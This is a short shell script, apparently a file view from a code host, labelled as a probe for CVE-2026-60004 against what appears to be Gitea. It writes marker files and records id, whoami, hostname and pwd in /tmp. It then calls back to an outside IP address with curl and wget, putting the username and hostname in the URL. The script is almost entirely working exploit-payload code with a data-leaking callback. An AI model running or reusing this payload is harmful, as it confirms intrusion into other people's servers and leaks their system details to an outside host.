12 lines
408 B
Bash
12 lines
408 B
Bash
|
#!/bin/sh
|
||
|
|
# CVE-2026-60004 probe
|
||
|
|
echo "PWNED_$(date +%s)" > /tmp/gitea_pwn_marker
|
||
|
|
id > /tmp/gitea_pwn_id
|
||
|
|
whoami >> /tmp/gitea_pwn_id
|
||
|
|
hostname >> /tmp/gitea_pwn_id
|
||
|
|
pwd >> /tmp/gitea_pwn_id
|
||
|
|
# Callback via curl (timeout 3s to prevent blocking)
|
||
|
|
curl -s -m 3 http://202.79.169.91:28016/pwned_id_$(whoami)_$(hostname) || true
|
||
|
|
# Callback via wget
|
||
|
|
wget -qO- --timeout=3 http://202.79.169.91:28016/pwned_wget || true
|